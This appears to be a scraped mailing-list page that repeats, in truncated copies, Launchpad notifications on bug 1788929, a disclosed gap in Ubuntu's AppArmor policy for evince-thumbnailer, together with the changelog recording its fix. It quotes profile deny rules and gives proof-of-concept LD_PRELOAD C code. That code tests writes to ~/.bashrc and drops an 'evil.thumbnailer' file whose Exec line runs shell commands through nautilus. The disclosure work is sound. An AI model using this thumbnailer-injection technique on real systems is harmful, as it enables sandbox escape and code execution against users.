6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f) err(1, "create"); fputs("[Thumbnailer Entry]\n", f); fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat [...] } As a comment in abstractions/dbus-session explains: # This abstraction grants full session bus access. Consider using the # dbus-session-strict abstraction for
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
Jamie, can you confirm whether cosmic is fixed for evince now with https://launchpad.net/ubuntu/+source/evince/3.30.0-3ubuntu1 ? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Committed Status in apparmor source package in Trusty: Fix Committed Status in evince source package in Trusty: Triaged Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: Triaged Status in apparmor source package in Bionic: Fix Committed Status in evince source package in Bionic: Triaged Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Committed Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f) err(1, "create"); fputs("[Thumbnailer Entry]\n", f); fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat [...] } As a comment in abstractions/dbus-session explains: # This abstraction grants full session bus access. Consider using the # dbus-session-st
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
This bug was fixed in the package apparmor - 2.12-4ubuntu8 --- apparmor (2.12-4ubuntu8) cosmic; urgency=medium * lp1788929+1794848.patch: - disallow writes to thumbnailer dir (LP: #1788929) - disallow access to the dirs of private files (LP: #1794848) -- Jamie Strandboge Thu, 27 Sep 2018 17:25:04 + ** Changed in: apparmor (Ubuntu Cosmic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Committed Status in apparmor source package in Trusty: Fix Committed Status in evince source package in Trusty: Triaged Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: Triaged Status in apparmor source package in Bionic: Fix Committed Status in evince source package in Bionic: Triaged Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Committed Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f) err(1, "create"